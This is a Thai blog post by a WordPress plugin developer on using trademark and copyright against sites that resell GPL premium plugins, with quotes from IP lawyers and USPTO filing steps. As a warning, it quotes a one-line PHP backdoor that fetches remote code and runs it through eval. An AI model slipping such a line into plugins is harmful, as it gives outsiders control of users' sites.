คู่มือขั้นสูงในการปกป้องธุรกิจปลั๊กอิน GPL WordPress ของคุณอย่างถูกกฎหมายจาก Trolls

ลิขสิทธิ์ซอฟต์แวร์อาจทำให้สับสนได้ โดยเฉพาะในโลกโอเพ่นซอร์ส ขอบเขตของความถูกต้องตามกฎหมายและจริยธรรมไม่ชัดเจนเสมอไป แต่เนื่องจากเจ้าของธุรกิจให้ความสำคัญกับการขายปลั๊กอิน WordPress GPL จึงเป็นหน้าที่ของเราที่จะต้องเข้าใจหัวข้อเหล่านี้อย่างถี่ถ้วน

โพสต์นี้จะไม่กล่าวถึงจริยธรรมและจะเน้นที่การพิจารณาทางกฎหมาย มันจะให้สูตรการดำเนินการทีละขั้นตอนแก่คุณ รวมถึงข้อเสนอแนะจากทนายความที่มีประสบการณ์ในพื้นที่นี้ เพื่อปกป้องธุรกิจ WordPress ของคุณจากปลั๊กอิน 'โทรลล์'

ในฐานะนักพัฒนาปลั๊กอินในช่วงห้าปีที่ผ่านมา ฉันได้อ่านบทความมากมายเกี่ยวกับ GPL เสรีภาพ และความท้าทายที่เกี่ยวข้องกับการดำเนินธุรกิจที่สอดคล้องกับ GPL แต่ในช่วงสองสามเดือนที่ผ่านมา หัวข้อนี้มีความสำคัญมากขึ้นสำหรับฉัน

ในเดือนสิงหาคม บัญชี Twitter ชื่อ WordPress Plugins (https://twitter.com/plugswp) ติดตามฉัน ตามนิสัย ฉันได้ตรวจสอบโปรไฟล์ของพวกเขาเพื่อเรียนรู้เพิ่มเติมเกี่ยวกับผู้ใช้รายนั้น ในไม่ช้าฉันก็พบว่าตัวจัดการมีความเกี่ยวข้องกับ 'wppluginscheap.com' ซึ่งเป็นปลั๊กอินและธีม 'โทรลล์' ที่ประกาศตัวเองว่าเป็น “แหล่งข้อมูลอันดับ 1 สำหรับปลั๊กอินและธีม WordPress พรีเมี่ยมราคาถูก” เมื่อเรียกดูไซต์ ฉันพบปลั๊กอินพรีเมียมยอดนิยมมากมาย เช่น Yoast SEO, Backup Buddy, WP Robot และธีมพรีเมียม 50 ธีม แต่ละผลิตภัณฑ์ขายได้น้อยกว่า $10

ไร้เดียงสาเหมือนเดิม ฉันกระโดดบน WPChat และเริ่มตั้งกระทู้ใหม่:

เราทุกคนต่างกำลังเข้ารหัสภายใต้การคุกคามที่โทรลล์บางตัวจะป๊อปอัปและขายปลั๊กอิน / ธีม GPL ของเราอีกครั้งด้วยราคาที่ไร้สาระ เอาละ… อยู่ที่นี่แล้ว ลองซื้อ Yoast Premium SEO ในราคา $4.00 ดีไหม… ฉันค่อนข้างหงุดหงิดและรู้สึกขบขันเพราะฉันรู้ว่ามันจะปรากฏขึ้นในสักวันหนึ่ง

ฉันถามคำถามกับชุมชนสองข้อ:
1. เราจะเอามันออกไปได้อย่างไร?
2. คุณรู้สึกถูกคุกคามหรือไม่?

ฉันไปที่กลุ่ม Facebook ขั้นสูงของ WordPress และอัปโหลดสถานะต่อไปนี้:

Joost de Valk และ Thomas Hofter เว้นแต่พวกคุณจะเริ่มขายปลั๊กอินของคุณในราคาต่ำกว่า 10 ดอลลาร์ ฉันคิดว่าคนเหล่านี้ละเมิดเครื่องหมายการค้าของคุณ (และนักพัฒนาปลั๊กอินอื่นๆ อีกหลายสิบคน) เราจะลงเอยอย่างไร?

หากคุณเป็นสมาชิกของกลุ่ม AWP คุณสามารถตรวจสอบเธรดทั้งหมดได้ที่นี่

ทั้งสองกระทู้สร้างความสนใจและการสนทนาอย่างมาก ฉันได้รับ 17 ตอบกลับใน WPChat และ 84 ความคิดเห็นในกลุ่ม AWP Facebook เมื่อการตอบกลับเริ่มกองพะเนิน ฉันก็นึกขึ้นได้สองอย่าง:
1. ปลั๊กอิน WordPress / ธีมโทรลล์เป็นโรคระบาด – มันเกิดขึ้นทุกที่!

สิ่งนี้เกิดขึ้นมาเป็นเวลานาน แม้ว่าส่วนใหญ่จะมีธีมและส่วนเสริมของ WooCommerce ดู gplclub.org และ sozot.com WPAvengers.com ทำสิ่งที่คล้ายคลึงกันก่อนที่จะปิดตัวลง

– Leland Fiegel ผู้ก่อตั้ง WPChat

2. แม้ว่าจะมีโพสต์บล็อกหลายร้อยรายการเกี่ยวกับใบอนุญาต GPL ในทุกแง่มุม แต่ก็ยังมีความสับสนมากมายในระบบนิเวศ แม้แต่ในหมู่ผู้มีอิทธิพล ดูเหมือนว่าหลายคนคิดว่ามันโอเคในทางเทคนิค (แม้ว่าจะผิดจรรยาบรรณ) เนื่องจากปลั๊กอินและธีมได้รับอนุญาตภายใต้ GPL

นักฉวยโอกาสเหล่านี้ปรากฏขึ้นเป็นระยะ ๆ และดูเหมือนจะไม่มีความหมายอะไรเลย มันถูกกฎหมาย (ส่วน GPL อยู่แล้ว) แต่ผิดจรรยาบรรณ มันขี้เกียจ และมันก็ไม่ดีสำหรับลูกค้าเพราะสินค้าอยู่ในสภาพที่น่าสงสัย ล้าสมัย ไม่รองรับและน่าสงสัย

– Steven Gliebe ผู้พัฒนาธีมและผู้ก่อตั้ง Pro Plugin Directory

มันผิดจรรยาบรรณ แต่ถ้าฉันเป็นเจ้าของร้านธีม/ปลั๊กอินที่เผยแพร่ภายใต้ GPL ฉันจะบอกว่า ฉันรู้สึกว่าฉันไร้จรรยาบรรณมากกว่านี้ถ้าฉันพูดได้มากกว่านี้ และเป็นคนหน้าซื่อใจคด

– Ionut Neagu ผู้ก่อตั้ง CodeinWP

ความคิดเห็นอื่น ๆ ที่ได้รับบน Facebook ได้แก่ :

• หากปลั๊กอินได้รับอนุญาตภายใต้ GPL ฉันเกรงว่าพวกเขาจะทำอะไรไม่ได้
• ฉันไม่คิดว่ารุ่นพรีเมี่ยมอยู่ภายใต้ GPL
• ถูกกฎหมาย ภายใต้ GPL

และยังมีอีกมากมาย!

ก่อนที่เราจะเริ่มต้น

นี่มันผิดเต็มๆ!

นักพัฒนายังคงมีสิทธิ์บังคับใช้แม้ว่าปลั๊กอินจะเผยแพร่ภายใต้ใบอนุญาตโอเพ่นซอร์สก็ตาม
'Plugin Trolls' เหล่านี้ยังคงต้องรับผิดต่อการละเมิดเครื่องหมายการค้าและ/หรือการละเมิดลิขสิทธิ์

ฉันต้องการเพิ่มว่าฉันได้อ่านความคิดเห็นมากมายที่บอกว่าโทรลล์เหล่านั้นไม่ได้ทำอันตรายกับธุรกิจ หากเป็นกรณีนี้ ฉันจะไม่รบกวนเวลามากในการรวบรวมโพสต์นี้ ฉันต้องการใช้โอกาสนี้อธิบายสาเหตุที่โทรลล์ไม่ดีสำหรับชุมชน WordPress – สำหรับธุรกิจของคุณและสำหรับผู้ใช้ WordPress

เหตุใดปลั๊กอินโทรลล์จึงไม่ดีสำหรับธุรกิจปลั๊กอินของคุณ

สูญเสียรายได้

ไม่ว่าคุณจะชอบหรือไม่ก็ตาม ผู้ใช้กลุ่มหนึ่งจะซื้อหรือรับปลั๊กอินพรีเมียมของคุณจากเว็บไซต์นี้ โดยเฉพาะมือใหม่ WordPress หากฉันยังใหม่ต่อระบบนิเวศของ WordPress และกำลังมองหาปลั๊กอิน SEO Yoast SEO ราคา $4 ฟังดูน่าดึงดูดใจมากกว่าราคาเต็ม ฉันจะซื้อมัน เช่นเดียวกับที่ฉันค้นหาส่วนลดที่ดีที่สุดเสมอเมื่อซื้อสมาร์ทโฟนหรือผลิตภัณฑ์อื่นๆ ฉันไม่ต้องการ "การรับประกันดั้งเดิม" เนื่องจากฉันไม่เคยใช้กับผลิตภัณฑ์ใดๆ ที่ฉันซื้อ ดังนั้นการสนับสนุนจึงไม่ใช่สิ่งที่ผู้ใช้คำนึงถึงตั้งแต่เริ่มต้น

สนับสนุนการละเมิด

หากมีปัญหาใด ๆ กับปลั๊กอินที่ซื้อจากโทรลล์ – เดาว่าใครถูกตำหนิสำหรับสิ่งนั้น แน่นอนนักพัฒนา/บริษัทที่แท้จริง หากงานศิลปะที่เกี่ยวข้องกับแบรนด์ของคุณถูกจำลองแบบ ลูกค้าจะติดต่อคุณ เช่นเดียวกับถ้าฉันซื้อสมาร์ทโฟน HTC ใน Amazon เมื่อฉันมีปัญหากับอุปกรณ์ ฉันโทรหาฝ่ายสนับสนุนด้านเทคนิคของ HTC ไม่ใช่ Amazon สิ่งที่คุณจะบอกผู้ใช้? “ใช่ มันเป็นโทรศัพท์ของเรา แต่คุณต้องติดต่อ Amazon เพื่อขอรับการสนับสนุนทางเทคนิค” การตอบสนองนี้จะยากสำหรับผู้ใช้ที่จะแยกแยะ ดูเหมือนว่าคุณไม่ได้ยืนอยู่ข้างหลังผลิตภัณฑ์ของคุณ

หากมีปัญหาใด ๆ กับปลั๊กอินที่ซื้อจากโทรลล์ – เดาว่าใครถูกตำหนิสำหรับสิ่งนั้น?ทวีต

ความเสียหายของแบรนด์

ไม่มีคำถามว่าโทรลล์บางตัวจะใส่โค้ดที่เป็นอันตรายลงในปลั๊กอิน แรงจูงใจหลักในการทำเช่นนี้คือการสร้างรายได้ในขณะที่แจกจ่ายปลั๊กอินพรีเมียมฟรี ฉันได้เห็นสิ่งนี้ด้วยตัวเอง เมื่อสองปีที่แล้ว ผมได้รับการติดต่อจากผู้อาวุโส SEO จากเอเจนซี่ที่ตั้งอยู่ในสหราชอาณาจักร (พนักงานมากกว่า 100 คน) . เขาเสนอเป็นพันธมิตรกับฉันโดยเพิ่มโค้ดง่ายๆ หนึ่งบรรทัดลงในปลั๊กอินของเรา:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

แนวคิดก็คือจุดปลาย API จะส่งคืน URL ที่ซ่อนอยู่เพื่อส่งลิงก์ย้อนกลับของบริษัทพอร์ตโฟลิโอ ตัวอย่างหนึ่งที่เขาส่งมาคือ:

<a href="”http://www.portfolio-company.com”">Great Company</a>

โทรลล์อาจแทรกโค้ดที่เป็นอันตรายลงในปลั๊กอินในขณะที่ใช้การสร้างแบรนด์ดั้งเดิมของคุณ สร้างความเสียหายโดยตรงต่อแบรนด์ของคุณ!ทวีต

นี่เป็นก่อน Google Penguin และเป็นแฮ็ค SEO ที่ยอดเยี่ยม และข้อเสนอก็ยอดเยี่ยมเช่นกัน – $0.1 ต่อโดเมนต่อเดือน ดังนั้นหากฉันมีโดเมนที่ใช้งานอยู่ 100,000 โดเมนโดยใช้ปลั๊กอินของฉัน ฉันสามารถสร้างเงินได้ 10,000 ดอลลาร์ต่อเดือน รายได้โดยไม่ต้องใช้จ่ายนาทีพิเศษ เจ๋งใช่มั้ยล่ะ? เห็นได้ชัดว่าเราไม่ได้ทำ ด้วยเหตุผลหลายประการ โดยหลักแล้วเนื่องจากโค้ดนี้เป็นอันตรายอย่างยิ่ง มันเปิดประตูหลังระยะไกลเพื่อทำทุกอย่างที่คุณต้องการกับไซต์ แม้ว่าเอเจนซี่ตั้งใจจะใช้เพื่อ SEO เท่านั้น จะเกิดอะไรขึ้นหากเซิร์ฟเวอร์ของพวกเขาถูกแฮ็กและมีคนที่มีเจตนาไม่ดีเข้าควบคุม ใครจะรู้ว่าปลั๊กอิน WordPress.org ที่ถูกกฎหมายเป็นพันธมิตรกับเอเจนซี่นั้นมีจำนวนเท่าใด… กลับไปที่โทรลล์ ความตั้งใจของพวกเขาเป็นการเงินล้วนๆ พวกเขาไม่ได้ส่งเสริมปลั๊กอินพรีเมียมของคุณเพื่อความสนุกสนาน พวกเขาต้องการทำเงิน และหากพวกเขาทำสิ่งผิดกฎหมาย เช่น การละเมิดลิขสิทธิ์และเครื่องหมายการค้า จะไม่มีอะไรหยุดพวกเขาจากการสร้างรายได้อื่น ๆ เช่น การแทรกโค้ด อ้อ และฉันลืมบอกไปว่าถ้าเกิดเรื่องแบบนี้ขึ้น คุณนั่นแหละที่ต้องถูกตำหนิ! มันคือผลิตภัณฑ์ของคุณและแบรนด์ของคุณ

เหตุใดปลั๊กอินโทรลล์จึงไม่ดีสำหรับผู้ใช้

ด้วยเหตุผลเดียวกันหลายประการที่ฉันกล่าวถึง แต่จากมุมมองของผู้ใช้

ไม่สนับสนุน

เมื่อประสบปัญหาทางเทคนิค โทรลล์ไม่สามารถช่วยคุณได้ ไม่ใช่ผลิตภัณฑ์ของพวกเขา พวกเขาไม่มีเงื่อนงำเกี่ยวกับรหัสหรือวิธีแก้ปัญหาที่เกี่ยวข้อง ยิ่งไปกว่านั้น พวกเขาไม่มีทรัพยากรสนับสนุนให้ทำ และหากคุณจะลองติดต่อบริษัทเดิม ผู้พัฒนาปลั๊กอินระดับพรีเมียมจะมีโครงสร้างพื้นฐานในการติดตามลูกค้าของตน บริษัทมักจะไม่ช่วยเหลือคุณจนกว่าคุณจะซื้อใบอนุญาตดั้งเดิม

ผู้แจกจ่ายปลั๊กอินที่ผิดกฎหมายไม่สามารถและจะไม่ช่วยคุณแก้ปัญหาทางเทคนิคได้ทวีต

ไม่มีการอัปเดตอัตโนมัติ

ปลั๊กอินพรีเมียมส่วนใหญ่ในตลาดปัจจุบันมีกลไกการออกใบอนุญาตและการอัปเดต (โทรลล์มักจะ 'แฮ็ก' ส่วนนี้ก่อนที่จะแจกจ่ายปลั๊กอินอีกครั้ง) วิธีการทำงานของกลไกการอัปเดตอัตโนมัตินี้คือทุกๆ 24 ชั่วโมง ปลั๊กอินจะตรวจสอบเซิร์ฟเวอร์ของบริษัทเดิมเพื่อดูว่ามีการอัปเดตสำหรับเวอร์ชันพรีเมียมหรือไม่ นอกจากนี้ยังตรวจสอบสิทธิ์ด้วยรหัสใบอนุญาต เนื่องจากปลั๊กอินของโทรลล์ไม่เคยออกมาพร้อมกับรหัสใบอนุญาตจากบริษัทดั้งเดิม กลไกการอัปเดตนี้จะไม่ทำงาน ดังนั้น ทุกครั้งที่ติดตั้งปลั๊กอินพรีเมียมที่ไม่ใช่ของเดิม จะไม่มีการอัปเดตอัตโนมัติ สิ่งนี้ไม่ดีเนื่องจากแฮกเกอร์ค้นหาช่องโหว่ที่สร้างสรรค์ใหม่ๆ อยู่เสมอ และปลั๊กอินพรีเมียมที่ล้าสมัยอาจทำให้ความปลอดภัยรั่วไหลได้

ปลั๊กอิน WordPress ที่ละเมิดลิขสิทธิ์ไม่มีกลไกการอัปเดตอัตโนมัติ – ช่องโหว่ด้านความปลอดภัยอย่างต่อเนื่อง!

การรั่วไหลด้านความปลอดภัยที่สำคัญ

จำโค้ดที่เป็นอันตรายหนึ่งบรรทัดที่ฉันกล่าวถึงข้างต้นได้หรือไม่ คุณต้องการให้แบ็คดอร์ไซต์ของคุณเปิดรับแฮกเกอร์หรือไม่? แบ็คดอร์นี้ช่วยให้แฮ็กเกอร์สามารถปรับเปลี่ยนทุกพิกเซลและเนื้อหาบนไซต์ของคุณได้อย่างแท้จริง และนั่นเป็นเพียงตัวอย่างเดียว ฉันแน่ใจว่ายังมีส่วนแทรกเชิงสร้างสรรค์อื่นๆ อีกมากมาย

ใบอนุญาตโอเพ่นซอร์สครอบคลุมอะไรบ้าง

เนื่องจากเห็นได้ชัดว่ามีความสับสนมากมายเกี่ยวกับปัญหาเหล่านี้ในชุมชนนักพัฒนา ฉันจึงติดต่อเพื่อนของฉัน Ariel Reinitz และเพื่อนร่วมงานของเขา Matthew Hintz ซึ่งเป็นทนายความด้านทรัพย์สินทางปัญญา (IP) (สิทธิบัตร เครื่องหมายการค้า และลิขสิทธิ์) ที่ Lowenstein Sandler LLP บริษัททั่วประเทศที่มีสำนักงานตั้งแต่นิวยอร์กไปจนถึงพาโลอัลโต

เอเรียลอธิบายให้ฉันฟังว่าในขณะที่ 'โทรลล์' ปลั๊กอิน WP อาจมีสิทธิ์ในทางเทคนิคในการแจกจ่ายรหัสที่อยู่ภายใต้ใบอนุญาตโอเพ่นซอร์ส (เช่น GPL) มีสิทธิ์ในทรัพย์สินทางปัญญาอื่น ๆ ('IP') ที่ไม่ครอบคลุมภายใต้โอเพ่นซอร์ส ใบอนุญาตซึ่ง 'โทรลล์' เหล่านี้อาจยังคงละเมิดอยู่

นี่คือสิ่งที่ Ariel พูดเกี่ยวกับ GPL:

สิ่งสำคัญคือต้องเข้าใจว่าใบอนุญาตโอเพ่นซอร์ส (GPLv2) ใดภายใต้การแจกจ่ายปลั๊กอิน WordPress ส่วนใหญ่ (และไม่ครอบคลุม):

ใบอนุญาตโอเพนซอร์ซกำหนดวิธีการแจกจ่ายซอฟต์แวร์/ซอร์สโค้ด โดยทั่วไป ใบอนุญาตดังกล่าวอนุญาตให้ทุกคนใช้ ปรับเปลี่ยน ฯลฯ ซอฟต์แวร์/โค้ดได้โดยไม่มีค่าใช้จ่าย ดังนั้น ซอร์สโค้ดของโปรเจ็กต์โอเพ่นซอร์สจึงสามารถแจกจ่ายต่อโดยบุคคลอื่นโดยไม่ละเมิดข้อกำหนดของ GPL

พูดง่ายๆ ก็คือ เสรีภาพของ GPL ทำให้ทุกคนสามารถใช้ซอร์สโค้ดและทำทุกอย่างที่เขาต้องการได้ รวมถึงการแจกจ่ายด้วย ฉันเชื่อว่ามีฉันทามติในส่วนนั้นในชุมชน

ใบอนุญาตโอเพ่นซอร์สไม่ครอบคลุมอะไรบ้าง

อย่างไรก็ตาม ใบอนุญาตโอเพนซอร์ซ (รวมถึง GPLv2) โดยทั่วไปจะ ไม่ ครอบคลุมถึงเครื่องหมายการค้า เครื่องหมายการค้าเกี่ยวข้องกับลักษณะตราสินค้าของผลิตภัณฑ์ (เช่น ปลั๊กอิน ธีม แอพ ฯลฯ) – เช่น ชื่อของผลิตภัณฑ์ (และ/หรือบริษัทต้นทาง) สโลแกน/สโลแกนของผลิตภัณฑ์ และ /หรือโลโก้ของมัน ดังนั้น แม้ว่าซอร์สโค้ดของโปรเจ็กต์จะแจกจ่ายต่อได้โดยเสรีภายใต้ใบอนุญาตโอเพนซอร์ส ใบอนุญาตดังกล่าวไม่ได้ให้สิทธิ์แก่ผู้อื่นเกี่ยวกับเครื่องหมายการค้าที่เกี่ยวข้องกับโครงการ (เช่น ชื่อผลิตภัณฑ์ บริษัทที่พัฒนา) เป็นต้น)

ในคำพูดที่ไม่ใช่ของทนายความ – GPL ไม่อนุญาตให้ใช้เครื่องหมายการค้าของปลั๊กอินใดๆ เช่น ชื่อผลิตภัณฑ์ ชื่อบริษัท และโลโก้ เอเรียลให้ตัวอย่างแก่เรา:

ตัวอย่างเช่น หากบุคคลที่สามแจกจ่ายปลั๊กอิน WordPress โดยใช้ตราสินค้าดั้งเดิมของโครงการทั้งหมด (เช่น การโปรโมตด้วยชื่อเดิม โลโก้ ฯลฯ ของบริษัท/โครงการ) อาจเป็นการละเมิดเครื่องหมายการค้าของผู้พัฒนาดั้งเดิม สิทธิ ตามที่ระบุไว้ ใบอนุญาตโอเพ่นซอร์สไม่อนุญาตให้บุคคลอื่นใช้การ สร้างแบรนด์ ของผู้อื่นในบริบทเชิงพาณิชย์ นี่เป็นสิ่งสำคัญเนื่องจากหลักการสำคัญประการหนึ่งของกฎหมายเครื่องหมายการค้าคือการปกป้องผู้บริโภคจากความสับสนว่าผลิตภัณฑ์มาจากไหน

หลักการสำคัญของกฎหมายเครื่องหมายการค้าไม่เพียงแต่ปกป้องธุรกิจเท่านั้น แต่ยังปกป้องผู้บริโภคจากความสับสนว่าผลิตภัณฑ์มาจากไหน นั่นเป็นบันทึกสำคัญ!

สิ่งสำคัญคือต้องตระหนักว่าบริษัทโอเพนซอร์สหลายแห่งจดทะเบียน ปกป้อง และควบคุมสิทธิ์ในเครื่องหมายการค้าของตน ตัวอย่าง ได้แก่ Linux , MySQL , Red Hat และ WordPress

สิ่งที่เอเรียลกำลังพูดในที่นี้คือชื่อที่ใหญ่ที่สุดในโอเพ่นซอร์สปกป้องและควบคุมสิทธิ์ในเครื่องหมายการค้าของพวกเขา ทำไมเราไม่ควรทำเช่นเดียวกัน?

หากเร้ดแฮทสามารถปกป้องและควบคุมลิขสิทธิ์เครื่องหมายการค้าของพวกเขาได้ ทำไมจึงไม่สามารถปลั๊กอินสำหรับนักพัฒนาได้ทวีต

นอกจากสิทธิ์ในเครื่องหมายการค้าแล้ว Ariel ยังชี้ให้เห็นว่านักพัฒนายังได้รับการคุ้มครอง ลิขสิทธิ์ ในวัสดุที่พวกเขาผลิตซึ่งไม่ได้เป็นส่วนหนึ่งของซอร์สโค้ด:

สิ่งสำคัญคือต้องตระหนักว่า GPL (และใบอนุญาตโอเพนซอร์สอื่นๆ) ครอบคลุมเฉพาะซอร์สโค้ดของปลั๊กอินเท่านั้น แต่ถ้าผู้พัฒนาสร้างสื่อที่ไม่ได้เป็นส่วนหนึ่งของซอร์สโค้ด (เช่น กราฟิก สื่อส่งเสริมการขาย บรรจุภัณฑ์ ฯลฯ) สื่อเหล่านั้นก็จะไม่ตกอยู่ภายใต้ GPL และผู้พัฒนาก็ไม่มีภาระผูกพันที่จะอนุญาตให้บุคคลอื่น เพื่อแจกจ่ายวัสดุ

ตัวอย่างเช่น ลองดูว่าปลั๊กอิน 'Yoast' มีจุดเด่นอย่างไรในไซต์ 'troll' ที่อ้างอิงด้านบน แม้ว่าในทางเทคนิคแล้วไซต์เหล่านั้นอาจสามารถแจกจ่าย ซอร์สโค้ด ของ Yoast ซ้ำได้ (เนื่องจากอยู่ภายใต้ GPL) ไซต์เหล่านี้ยังรวมเอาองค์ประกอบต่างๆ เช่น การสร้างแบรนด์ของ Yoast (เช่น ชื่อและโลโก้ของ Yoast ซึ่งเป็น เครื่องหมายการค้า ) ตลอดจนสื่อสร้างสรรค์อื่นๆ ที่พัฒนาโดย Yoast (เช่น ภาพกราฟิกของผู้ชายที่ดื่มชาซึ่งไม่ได้เป็นส่วนหนึ่งของซอร์สโค้ดของ Yoast และด้วยเหตุนี้ ลิขสิทธิ์ จึงเป็นของ Yoast และไม่อยู่ภายใต้ GPL)

ดังนั้น – ในขณะที่โทรลล์อาจมีสิทธิ์ตามกฎหมายในการแจกจ่ายซอร์สโค้ดของ Yoast อีกครั้ง GPL (หรือใบอนุญาตโอเพ่นซอร์สอื่น) ไม่ได้ให้สิทธิ์แก่พวกเขาในการใช้ (a) การสร้างตราสินค้าของ Yoast (เครื่องหมายการค้า) หรือ (b) กราฟิก วัสดุ ฯลฯ ., (ลิขสิทธิ์) . เนื่องจากไม่ได้เป็นส่วนหนึ่งของซอร์สโค้ดของปลั๊กอิน รายการเหล่านี้จึงไม่อยู่ภายใต้ GPL ดังนั้น สิทธิ์ในทรัพย์สินทางปัญญา (IP) ของรายการเหล่านี้เป็นทรัพย์สินของผู้พัฒนาแต่เพียงผู้เดียว

เนื่องจากปลั๊กอิน 'โทรลล์' ใช้เครื่องหมายการค้าและเนื้อหาที่มีลิขสิทธิ์ของนักพัฒนา (เช่นในตัวอย่าง 'Yoast' ด้านบน) จึงมีกระบวนการทางกฎหมาย (ตามที่เราจะศึกษาในรายละเอียดด้านล่าง) ที่นักพัฒนาสามารถใช้เพื่อบังคับใช้สิทธิ์เหล่านี้เพื่อ หยุด กีดกัน หรืออย่างน้อยก็พยายามจำกัดผลกระทบที่ 'โทรลล์' เหล่านี้อาจมีต่อธุรกิจของคุณ นี่เป็นความจริงอีกครั้งแม้ว่าปลั๊กอินของคุณจะเผยแพร่ภายใต้ GPL

เครื่องหมายการค้าได้รับการคุ้มครองอะไรบ้าง?

Matthew อธิบายว่าเครื่องหมายการค้าครอบคลุมอะไรบ้าง:

พูดง่ายๆ ก็คือ เครื่องหมายการค้าเป็นตัวระบุเฉพาะสำหรับผู้บริโภคที่แยกแหล่งที่มาของสินค้าหรือบริการออกจากผู้อื่น ส่วนใหญ่แล้ว เครื่องหมายการค้าคือคำ โลโก้ หรือองค์ประกอบเหล่านั้นผสมกัน ในสหรัฐอเมริกา สิทธิ์ในเครื่องหมายการค้าเริ่มต้นด้วยการใช้เพื่อการพาณิชย์ (เรียกว่า “สิทธิ์ในกฎหมายทั่วไป”) ไม่ผ่านการจดทะเบียนกับสำนักงานสิทธิบัตรและเครื่องหมายการค้าแห่งสหรัฐอเมริกา (USPTO) อย่างไรก็ตาม การจดทะเบียนเครื่องหมายการค้าของคุณกับ USPTO นั้นให้สิทธิประโยชน์มากมายแก่เจ้าของซึ่งไม่สามารถหาได้จากสิทธิ์ในกฎหมายทั่วไป โดยเฉพาะอย่างยิ่ง สิ่งเหล่านี้รวมถึงหลักฐานของเอกสิทธิ์ของผู้จดทะเบียนในการใช้เครื่องหมายทั่วทั้งสหรัฐอเมริกาที่เกี่ยวข้องกับสินค้าหรือบริการที่กำหนดไว้ในการจดทะเบียน ประกาศอย่างสร้างสรรค์ว่าผู้จดทะเบียนเป็นเจ้าของเครื่องหมายการค้า การลงรายการทะเบียนใน USPTO ฐานข้อมูลออนไลน์และความสามารถในการใช้สัญลักษณ์ (ก่อนจดทะเบียน สามารถใช้สัญลักษณ์ TM กับเครื่องหมายการค้าได้)

รหัสได้รับการคุ้มครองโดยเครื่องหมายการค้าหรือไม่?

ในระหว่างการค้นคว้า ฉันอ่านบทความสองสามโพสต์ที่ระบุว่าเมื่อทำการฟอร์กปลั๊กอินหรือธีมที่ได้รับอนุญาตของ GPL โค้ดจะต้องได้รับการปรับโครงสร้างใหม่เพื่อให้แน่ใจว่าไม่มีฟังก์ชันใดที่มีตัวระบุเครื่องหมายการค้าเป็นส่วนหนึ่งของชื่อฟังก์ชัน เพื่อชี้แจงว่า ฉันถามแมทธิวว่าโค้ดนั้นได้รับการคุ้มครองโดยเครื่องหมายการค้าด้วยหรือไม่ และนี่คือคำตอบ:

รหัสตัวเองไม่ได้รับการคุ้มครองโดยเครื่องหมายการค้า เครื่องหมายการค้าปกป้องคำหรือโลโก้ที่ผู้บริโภคเชื่อมโยงกับสินค้าหรือบริการของคุณ ข้อจำกัดในการคุ้มครองเครื่องหมายการค้าสำหรับปลั๊กอินนั้นจะเป็นคำหรือโลโก้ที่ใช้ทำการตลาดปลั๊กอินให้กับผู้บริโภค จากนั้นการทดสอบขั้นพื้นฐานสำหรับการละเมิดเครื่องหมายการค้าก็คือว่าผู้บริโภคจะสับสนกับความคล้ายคลึงกันของเครื่องหมายทั้งสองหรือไม่ ความคล้ายคลึงกันประเมินโดยพิจารณาจากสิ่งต่างๆ เช่น ความคล้ายคลึงกันทางภาพและการออกเสียง ความเกี่ยวข้องของสินค้า/บริการสำหรับแต่ละเครื่องหมาย ความโดดเด่นของเครื่องหมาย และระยะเวลาที่ใช้เครื่องหมาย

เพื่อชี้แจงคำตอบในภาษาที่เป็นมิตรกับนักพัฒนา:

• ชื่อคลาส ชื่อฟังก์ชัน ชื่อตัวแปร และชื่อคงที่ไม่ได้รับการคุ้มครองโดยเครื่องหมายการค้า
• ในทางกลับกัน สตริงที่พิมพ์ลงบนหน้าและผู้ใช้ปลายทางสามารถมองเห็นได้ - ได้รับการคุ้มครองโดยเครื่องหมายการค้า

จะยื่นจดทะเบียนเครื่องหมายการค้าได้อย่างไร?

เพื่อให้ได้ประโยชน์จากการจดทะเบียนเครื่องหมายการค้าของรัฐบาลกลาง เครื่องหมายการค้าของคุณต้องจดทะเบียนกับ USPTO คำขอจดทะเบียนต้องมีข้อมูลพื้นฐาน ได้แก่ ชื่อผู้ขอ/เจ้าของ เครื่องหมาย สินค้าหรือบริการที่ใช้เครื่องหมาย หลักฐานการใช้เครื่องหมายกับสินค้าหรือบริการเหล่านั้น วันที่ใช้เครื่องหมายนั้นครั้งแรก . ข้อควรพิจารณาสำหรับการสมัครของคุณ:

• ค้นหาฐานข้อมูล TESS (http://www.uspto.gov/trademark ) ของ USPTO เพื่อหาเครื่องหมายที่เหมือนหรือคล้ายกัน หากมีการใช้เครื่องหมายเดียวกันหรือคล้ายกันสำหรับหรือลงทะเบียนแล้ว สิ่งเหล่านี้อาจเป็นพื้นฐานสำหรับการปฏิเสธใบสมัครของคุณ นอกจากนี้ ค้นหาผ่าน Google หรือบริการค้นหาอื่นๆ เนื่องจากสามารถใช้เครื่องหมายได้โดยไม่ต้องลงทะเบียนและมีสิทธิ์เหนือกว่าในเครื่องหมายนั้น แม้จะลงทะเบียนแล้วก็ตาม การลงทะเบียนไม่ได้ทำให้สิทธิ์ในเครื่องหมายการค้าของผู้ใช้ก่อนหน้านี้หมดลง
• สำหรับการอธิบายสินค้าหรือบริการของคุณ ค้นหาคู่มือ ID ของ USPTO สำหรับภาษาที่ยอมรับได้ : http://tess2.uspto.gov/netahtml/tidm.html คุณยังสามารถค้นหาภาษาที่ยอมรับได้ใน TESS
• คลาสเป็นตัวบ่งชี้ทั่วไปที่เกี่ยวข้องกับบางสาขาสำหรับสินค้าหรือบริการ ตัวอย่างเช่น ปลั๊กอินที่ดาวน์โหลดได้มักจะอยู่ในคลาส 9 ซึ่งครอบคลุมโปรแกรมคอมพิวเตอร์และซอฟต์แวร์ทั้งหมด
• ค่าธรรมเนียมสำหรับการขอเครื่องหมายการค้ากำหนดโดยจำนวนชั้น ค่าธรรมเนียมทั่วไปคือ 275 ดอลลาร์ต่อชั้นเรียน แต่มีตัวเลือกการยื่นแบบน้อยกว่าและแพงกว่า

หลังจากยื่นคำร้องแล้ว USPTO จะตรวจสอบใบสมัครเพื่อพิจารณาว่าเครื่องหมายนั้นเป็นตัวระบุเฉพาะหรือไม่ (กล่าวคือ ไม่มีคำอธิบายหรือทำให้สับสนกับใบสมัครหรือการลงทะเบียนที่ยื่นก่อนหน้านี้) USPTO ระบุไทม์ไลน์สำหรับการใช้งาน : http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines

โปรดทราบว่าการคุ้มครองเครื่องหมายการค้าเป็นเขตแดน ตัวอย่างเช่น การจดทะเบียนในสหรัฐอเมริกาจะให้การคุ้มครองเครื่องหมายการค้าในสหรัฐอเมริกา

